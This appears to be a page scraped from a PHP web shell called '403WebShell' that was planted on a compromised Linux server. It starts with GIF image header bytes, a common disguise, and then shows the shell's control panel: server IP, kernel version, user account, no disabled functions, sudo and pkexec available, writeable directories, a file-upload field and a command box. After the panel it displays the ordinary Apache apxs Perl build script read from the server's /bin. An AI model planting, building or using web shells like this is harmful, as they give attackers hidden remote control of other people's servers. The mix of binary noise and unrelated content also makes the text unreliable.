GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 3.21.33.186
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bin/apxs
#!/usr/bin/perl -w
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

require 5.004;
use strict;
package apxs;

##
##  Configuration
##

#   are we building in a cross compile environment? If so, destdir contains
#   the base directory of the cross compiled environment, otherwise destdir
#   is the empty string.

my $destdir = "";
my $ddi = rindex($0, "/usr/bin");
if ($ddi >= 0) {
  $destdir = substr($0, 0, $ddi);
}

my %config_vars = ();

my $installbuilddir = "/usr/lib64/apache2/build";
get_config_vars($destdir . "$installbuilddir/config_vars.mk",\%config_vars);

# read the configuration variables once

my $prefix         = get_vars("prefix");
my $CFG_PREFIX     = $prefix;
my $exec_prefix    = get_vars("exec_prefix");
my $datadir        = get_vars("datadir");
my $localstatedir  = get_vars("localstatedir");
my $CFG_TARGET     = get_vars("progname");
my $CFG_SYSCONFDIR = get_vars("sysconfdir");
my $CFG_CFLAGS     = join ' ', map { get_vars($_) }
  qw(SHLTCFLAGS CFLAGS NOTEST_CPPFLAGS EXTRA_CPPFLAGS EXTRA_CFLAGS);
my $CFG_LDFLAGS    = join ' ', map { get_vars($_) }
  qw(LDFLAGS NOTEST_LDFLAGS SH_LDFLAGS);
my $includedir     = $destdir . get_vars("includedir");
my $CFG_INCLUDEDIR = eval qq("$includedir");
my $CFG_CC         = get_vars("CC");
my $libexecdir     = $destdir . get_vars("libexecdir");
my $libdir         = get_vars("libdir");
my $CFG_LIBEXECDIR = eval qq("$libexecdir");
my $sbindir        = get_vars("sbindir");
my $CFG_SBINDIR    = eval qq("$sbindir");
my $ltflags        = $ENV{'LTFLAGS'};
$ltflags or $ltflags = "--silent";

my %internal_vars = map {$_ => 1}
    qw(TARGET CC CFLAGS CFLAGS_SHLIB LD_SHLIB LDFLAGS_SHLIB LIBS_SHLIB
       PREFIX SBINDIR INCLUDEDIR LIBEXECDIR SYSCONFDIR);

##
##  parse argument line
##

#   defaults for parameters
my $opt_n = '';
my $opt_g = '';
my $opt_c = 0;
my $opt_o = '';
my @opt_D = ();
my @opt_I = ();
my @opt_L = ();
my @opt_l = ();
my @opt_W = ();
my @opt_S = ();
my $opt_e = 0;
my $opt_i = 0;
my $opt_a = 0;
my $opt_A = 0;
my $opt_q = 0;
my $opt_h = 0;
my $opt_p = 0;
my $opt_v = 0;

#   this subroutine is derived from Perl's getopts.pl with the enhancement of
#   the "+" metacharacter at the format string to allow a list to be built by
#   subsequent occurrences of the same option.
sub Getopts {
    my ($argumentative, @ARGV) = @_;
    my $errs = 0;
    local $_;

    my @args = split / */, $argumentative;
    while (@ARGV && ($_ = $ARGV[0]) =~ /^-(.)(.*)/) {
        my ($first, $rest) = ($1,$2);
        if ($_ =~ m|^--$|) {
            shift @ARGV;
            last;
        }
        my $pos = index($argumentative,$first);
        if ($pos >= 0) {
            if ($pos < $#args && $args[$pos+1] eq ':') {
                shift @ARGV;
                if ($rest eq '') {
                    unless (@ARGV) {
                        error("Incomplete option: $first (needs an argument)");
                        $errs++;
                    }
                    $rest = shift(@ARGV);
                }
                eval "\$opt_$first = \$rest;";
            }
            elsif ($pos < $#args && $args[$pos+1] eq '+') {
                shift @ARGV;
                if ($rest eq '') {
                    unless (@ARGV) {
                        error("Incomplete option: $first (needs an argument)");
                        $errs++;
                    }
                    $rest = shift(@ARGV);
                }
                eval "push(\@opt_$first, \$rest);";
            }
            else {
                eval "\$opt_$first = 1";
                if ($rest eq '') {
                    shift(@ARGV);
                }
                else {
                    $ARGV[0] = "-$rest";
                }
            }
        }
        else {
            error("Unknown option: $first");
            $errs++;
            if ($rest ne '') {
                $ARGV[0] = "-$rest";
            }
            else {
                shift(@ARGV);
            }
        }
    }
    return ($errs == 0, @ARGV);
}

sub usage {
    print STDERR "Usage: apxs -g [-S <var>=<val>] -n <modname>\n";
    print STDERR "       apxs -q [-v] [-S <var>=<val>] [<query> ...]\n";
    print STDERR "       apxs -c [-S <var>=<val>] [-o <dsofile>] [-D <name>[=<value>]]\n";
    print STDERR "               [-I <incdir>] [-L <libdir>] [-l <libname>] [-Wc,<flags>]\n";
    print STDERR "               [-Wl,<flags>] [-p] <files> ...\n";
    print STDERR "       apxs -i [-S <var>=<val>] [-a] [-A] [-n <modname>] <dsofile> ...\n";
    print STDERR "       apxs -e [-S <var>=<val>] [-a] [-A] [-n <modname>] <dsofile> ...\n";
    exit(1);
}

#   option handling
my $rc;
($rc, @ARGV) = &Getopts("qn:gco:I+D+L+l+W+S+eiaApv", @ARGV);
&usage if ($rc == 0);
&usage if ($#ARGV == -1 and not $opt_g and not $opt_q);
&usage if (not $opt_q and not ($opt_g and $opt_n) and not $opt_i and not $opt_c and not $opt_e);

#   argument handling
my @args = @ARGV;
my $name = 'unknown';
$name = $opt_n if ($opt_n ne '');

if (@opt_S) {
    my ($opt_S);
    foreach $opt_S (@opt_S) {
	if ($opt_S =~ m/^([^=]+)=(.*)$/) {
	    my ($var) = $1;
	    my ($val) = $2;
	    my $oldval = eval "\$CFG_$var";

	    unless ($var and $oldval) {
		print STDERR "apxs:Error: no config variable $var\n";
		&usage;
	    }

	    eval "\$CFG_${var}=\"${val}\"";
	} else {
	    print STDERR "apxs:Error: malformatted -S option\n";
	    &usage;
	}	
    }
}

##
##  Initial shared object support check
##
unless ("yes" eq "yes") {
    error("Sorry, no shared object support for Apache");
    error("available under your platform. Make sure");
    error("the Apache module mod_so is compiled into");
    error("the server binary.");
    exit 1;
}

sub get_config_vars{
    my ($file, $rh_config) = @_;

    open IN, $file or die "cannot open $file: $!";
    while (<IN>){
        if (/^\s*(.*?)\s*=\s*(.*)$/){
            $rh_config->{$1} = $2;
        }
    }
    close IN;
}

sub get_vars {
    my $result = '';
    my $ok = 0;
    my $arg;
    foreach $arg (@_) {
        if (exists $config_vars{$arg} or exists $config_vars{lc $arg}) {
            my $val = exists $config_vars{$arg}
                ? $config_vars{$arg}
                : $config_vars{lc $arg};
            $val =~ s/[()]//g;
            $result .= eval "qq($val)" if defined $val;
            $result .= ";;";
            $ok = 1;
        }
        if (not $ok) {
            if (exists $internal_vars{$arg} or exists $internal_vars{lc $arg}) {
                my $val = exists $internal_vars{$arg} ? $arg : lc $arg;
                $val = eval "\$CFG_$val";
                $result .= eval "qq($val)" if defined $val;
                $result .= ";;";
                $ok = 1;
            }
            if (not $ok) {
                error("Invalid query string `$arg'");
                exit(1);
            }
        }
    }
    $result =~ s|;;$||;
    return $result;
}

##
##  Operation
##

#   helper function for executing a list of
#   system command with return code checks
sub execute_cmds {
    my (@cmds) = @_;
    my ($cmd, $rc);

    foreach $cmd (@cmds) {
        notice($cmd);
        $rc = system $cmd;
        if ($rc) {
            error(sprintf "Command failed with rc=%d\n", $rc << 8);
            exit 1 ;
        }
    }
}

if ($opt_g) {
    ##
    ##  SAMPLE MODULE SOURCE GENERATION
    ##

    if (-d $name) {
        error("Directory `$name' already exists. Remove first");
        exit(1);
    }

    my $data = join('', <DATA>);
    $data =~ s|%NAME%|$name|sg;
    $data =~ s|%TARGET%|$CFG_TARGET|sg;
    $data =~ s|%PREFIX%|$prefix|sg;
    $data =~ s|%INSTALLBUILDDIR%|$installbuilddir|sg;
    $data =~ s|%LIBDIR%|$libdir|sg;

    my ($mkf, $mods, $src) = ($data =~ m|^(.+)-=#=-\n(.+)-=#=-\n(.+)|s);

    notice("Creating [DIR]  $name");
    system("mkdir $name");
    notice("Creating [FILE] $name/Makefile");
    open(FP, ">${name}/Makefile") || die;
    print FP $mkf;
    close(FP);
    notice("Creating [FILE] $name/modules.mk");
    open(FP, ">${name}/modules.mk") || die;
    print FP $mods;
    close(FP);
    notice("Creating [FILE] $name/mod_$name.c");
    open(FP, ">${name}/mod_${name}.c") || die;
    print FP $src;
    close(FP);
    notice("Creating [FILE] $name/.deps");
    system("touch ${name}/.deps");

    exit(0);
}


if ($opt_q) {
    ##
    ##  QUERY INFORMATION 
    ##
    my $result;
    if ($#args >= 0) { 
        $result = get_vars(@args);
        print "$result\n";
    } else {
        # -q without var name prints all variables and their values
        
        # Additional -v pretty-prints output
        if ($opt_v) {
            # Variable names in alphabetic order
            my @vars = sort {uc($a) cmp uc($b)} keys %config_vars;
            
            # Make the left column as wide as the longest variable name
            my $width = 0;
            foreach (@vars) {
                my $l = length $_; 
                $width = $l unless ($l <= $width);
            }
    
            foreach (@vars) {
                printf "%-${width}s = %s\n", $_, $config_vars{$_};
            }
        } else {
            # Unprettified name=value list
            foreach (keys %config_vars) {
                print "$_=$config_vars{$_}\n";
            }
        }
    }
}

my $apr_config = $destdir . get_vars("APR_CONFIG");

if (! -x "$apr_config") {
    error("$apr_config not found!");
    exit(1);
}

my $apr_major_version = (split /\./, `$apr_config --version`)[0];

my $apu_config = "";
if ($apr_major_version < 2) {
    $apu_config = $destdir . get_vars("APU_CONFIG");

    if (! -x "$apu_config") {
        error("$apu_config not found!");
        exit(1);
    }
}

my $libtool = `$apr_config --apr-libtool`;
chomp($libtool);

my $apr_includedir = `$apr_config --includes`;
chomp($apr_includedir);
my $apu_includedir = "";
if ($apr_major_version < 2) {
    $apu_includedir = `$apu_config --includes`;
    chomp($apu_includedir);
}

if ($opt_c) {
    ##
    ##  SHARED OBJECT COMPILATION
    ##

    #   split files into sources and objects
    my @srcs = ();
    my @objs = ();
    my $f;
    foreach $f (@args) {
        if ($f =~ m|\.c$|) {
            push(@srcs, $f);
        }
        else {
            push(@objs, $f);
        }
    }

    #   determine output file
    my $dso_file;
    if ($opt_o eq '') {
        if ($#srcs > -1) {
            $dso_file = $srcs[0];
            $dso_file =~ s|\.[^.]+$|.la|;
        }
        elsif ($#objs > -1) {
            $dso_file = $objs[0];
            $dso_file =~ s|\.[^.]+$|.la|;
        }
        else {
            $dso_file = "mod_unknown.la";
        }
    }
    else {
        $dso_file = $opt_o;
        $dso_file =~ s|\.[^.]+$|.la|;
    }

    #   create compilation commands
    my @cmds = ();
    my $opt = '';
    my ($opt_Wc, $opt_I, $opt_D);
    foreach $opt_Wc (@opt_W) {
        $opt .= "$1 " if ($opt_Wc =~ m|^\s*c,(.*)$|);
    }
    foreach $opt_I (@opt_I) {
        $opt .= "-I$opt_I ";
    }
    foreach $opt_D (@opt_D) {
        $opt .= "-D$opt_D ";
    }
    my $cflags = "$CFG_CFLAGS";
    my $s;
    my $mod;
    foreach $s (@srcs) {
        my $slo = $s;
        $slo =~ s|\.c$|.slo|;
        my $lo = $s;
        $lo =~ s|\.c$|.lo|;
        my $la = $s;
        $la =~ s|\.c$|.la|;
        my $o = $s;
        $o =~ s|\.c$|.o|;
        push(@cmds, "$libtool $ltflags --mode=compile $CFG_CC $cflags -I$CFG_INCLUDEDIR $apr_includedir $apu_includedir $opt -c -o $lo $s && touch $slo");
        unshift(@objs, $lo);
    }

    #   create link command
    my $o;
    my $lo;	
    foreach $o (@objs) {
        $lo .= " $o";
    }
    my ($opt_Wl, $opt_L, $opt_l);
    $opt = '';
    foreach $opt_Wl (@opt_W) {
        $opt .= "$1 " if ($opt_Wl =~ m|^\s*l,(.*)$|);
    }
    foreach $opt_L (@opt_L) {
        $opt .= " -L$opt_L";
    }
    foreach $opt_l (@opt_l) {
        $opt .= " -l$opt_l";
    }

    my $ldflags = "$CFG_LDFLAGS";
    if ($opt_p == 1) {
        
        my $apr_libs=`$apr_config --cflags --ldflags --link-libtool --libs`;
        chomp($apr_libs);
        my $apu_libs="";
        if ($apr_major_version < 2) {
            $apu_libs=`$apu_config --ldflags --link-libtool --libs`;
            chomp($apu_libs);
        }
        
        $opt .= " ".$apu_libs." ".$apr_libs;
    }
    else {
        my $apr_ldflags=`$apr_config --ldflags`;
        chomp($apr_ldflags);
        $opt .= " -rpath $CFG_LIBEXECDIR -module -avoid-version $apr_ldflags";
    }

    push(@cmds, "$libtool $ltflags --mode=link $CFG_CC $ldflags -o $dso_file $opt $lo");

    #   execute the commands
    &execute_cmds(@cmds);

    #   allow one-step compilation and installation
    if ($opt_i or $opt_e) {
        @args = ( $dso_file );
    }
}

if ($opt_i or $opt_e) {
    ##
    ##  SHARED OBJECT INSTALLATION
    ##

    #   determine installation commands
    #   and corresponding LoadModule directive
    my @lmd = ();
    my @cmds = ();
    my $f;
    foreach $f (@args) {
        #  ack all potential gcc, hp/ux, win32+os2+aix and os/x extensions
        if ($f !~ m#(\.so$|\.la$|\.sl$|\.dll$|\.dylib$|)#) {
            error("file $f is not a shared object");
            exit(1);
        }
        my $t = $f;
        $t =~ s|^.+/([^/]+)$|$1|;
        #  use .so unambigiously for installed shared library modules
        $t =~ s|\.[^./\\]+$|\.so|;
        if ($opt_i) {
	    push(@cmds, $destdir . "$installbuilddir/instdso.sh SH_LIBTOOL='" .
                 "$libtool' $f $CFG_LIBEXECDIR");
	    push(@cmds, "chmod 755 $CFG_LIBEXECDIR/$t");
        }

        #   determine module symbolname and filename
        my $filename = '';
        if ($name eq 'unknown') {
            $name = '';
            my $base = $f;
            $base =~ s|\.[^.]+$||;
            if (-f "$base.c") {
                open(FP, "<$base.c");
                my $content = join('', <FP>);
                close(FP);
                if ($content =~ m|.*AP_DECLARE_MODULE\s*\(\s*([a-zA-Z0-9_]+)\s*\)\s*=.*|s || $content =~ m|.*module\s+(?:AP_MODULE_DECLARE_DATA\s+)?([a-zA-Z0-9_]+)_module\s*=\s*.*|s) {
                    $name = "$1";
                    $filename = "$base.c";
                    $filename =~ s|^[^/]+/||;
                }
            }
            if ($name eq '') {
                if ($base =~ m|.*mod_([a-zA-Z0-9_]+)\..+|) {
                    $name = "$1";
                    $filename = $base;
                    $filename =~ s|^[^/]+/||;
                }
            }
            if ($name eq '') {
                error("Sorry, cannot determine bootstrap symbol name");
                error("Please specify one with option `-n'");
                exit(1);
            }
        }
        if ($filename eq '') {
            $filename = "mod_${name}.c";
        }
        my $dir = $CFG_LIBEXECDIR;
        $dir =~ s|^$CFG_PREFIX/?||;
        $dir =~ s|(.)$|$1/|;
	$t =~ s|\.la$|.so|;
        push(@lmd, sprintf("LoadModule %-18s %s", "${name}_module", "$dir$t"));
    }

    #   execute the commands
    &execute_cmds(@cmds);

    #   activate module via LoadModule/AddModule directive
    if ($opt_a or $opt_A) {
        my $lmd;
        my $c = '';
        $c = '#' if ($opt_A);
        foreach $lmd (@lmd) {
            my $what = $opt_A ? "preparing" : "activating";
            $lmd =~ m|LoadModule\s+(.+?)_module.*|;
            my $modname = $1;
            my $fname = "$CFG_SYSCONFDIR.modules.d/mod_$modname.conf";
            notice("[$what module `$modname' in $fname]");
            if (open(FP, ">$fname.new")) {
                print FP "$c$lmd";
                close(FP);
                system("cp -b --suffix=.bak $fname.new $fname && " .
                       "rm $fname.new");
            } else {
                notice("unable to open configuration file");
            }
	}
    }
}

sub error{
    print STDERR "apxs:Error: $_[0].\n";
}

sub notice{
    print STDERR "$_[0]\n";
}

##EOF##
__DATA__
##
##  Makefile -- Build procedure for sample %NAME% Apache module
##  Autogenerated via ``apxs -n %NAME% -g''.
##

builddir=.
top_srcdir=%PREFIX%
top_builddir=%LIBDIR%/apache2
include %INSTALLBUILDDIR%/special.mk

#   the used tools
APACHECTL=apachectl

#   additional defines, includes and libraries
#DEFS=-Dmy_define=my_value
#INCLUDES=-Imy/include/dir
#LIBS=-Lmy/lib/dir -lmylib

#   the default target
all: local-shared-build

#   install the shared object file into Apache 
install: install-modules-yes

#   cleanup
clean:
	-rm -f mod_%NAME%.o mod_%NAME%.lo mod_%NAME%.slo mod_%NAME%.la 

#   simple test
test: reload
	lynx -mime_header http://localhost/%NAME%

#   install and activate shared object by reloading Apache to
#   force a reload of the shared object file
reload: install restart

#   the general Apache start/restart/stop
#   procedures
start:
	$(APACHECTL) start
restart:
	$(APACHECTL) restart
stop:
	$(APACHECTL) stop

-=#=-
mod_%NAME%.la: mod_%NAME%.slo
	$(SH_LINK) -rpath $(libexecdir) -module -avoid-version  mod_%NAME%.lo
DISTCLEAN_TARGETS = modules.mk
shared =  mod_%NAME%.la
-=#=-
/* 
**  mod_%NAME%.c -- Apache sample %NAME% module
**  [Autogenerated via ``apxs -n %NAME% -g'']
**
**  To play with this sample module first compile it into a
**  DSO file and install it into Apache's modules directory 
**  by running:
**
**    $ apxs -c -i mod_%NAME%.c
**
**  Then activate it in Apache's %TARGET%.conf file for instance
**  for the URL /%NAME% in as follows:
**
**    #   %TARGET%.conf
**    LoadModule %NAME%_module modules/mod_%NAME%.so
**    <Location /%NAME%>
**    SetHandler %NAME%
**    </Location>
**
**  Then after restarting Apache via
**
**    $ apachectl restart
**
**  you immediately can request the URL /%NAME% and watch for the
**  output of this module. This can be achieved for instance via:
**
**    $ lynx -mime_header http://localhost/%NAME% 
**
**  The output should be similar to the following one:
**
**    HTTP/1.1 200 OK
**    Date: Tue, 31 Mar 1998 14:42:22 GMT
**    Server: Apache/1.3.4 (Unix)
**    Connection: close
**    Content-Type: text/html
**  
**    The sample page from mod_%NAME%.c
*/ 

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"

/* The sample content handler */
static int %NAME%_handler(request_rec *r)
{
    if (strcmp(r->handler, "%NAME%")) {
        return DECLINED;
    }
    r->content_type = "text/html";      

    if (!r->header_only)
        ap_rputs("The sample page from mod_%NAME%.c\n", r);
    return OK;
}

static void %NAME%_register_hooks(apr_pool_t *p)
{
    ap_hook_handler(%NAME%_handler, NULL, NULL, APR_HOOK_MIDDLE);
}

/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA %NAME%_module = {
    STANDARD20_MODULE_STUFF, 
    NULL,                  /* create per-dir    config structures */
    NULL,                  /* merge  per-dir    config structures */
    NULL,                  /* create per-server config structures */
    NULL,                  /* merge  per-server config structures */
    NULL,                  /* table of config file commands       */
    %NAME%_register_hooks  /* register hooks                      */
};


Youez - 2016 - github.com/yon3zu
LinuXploit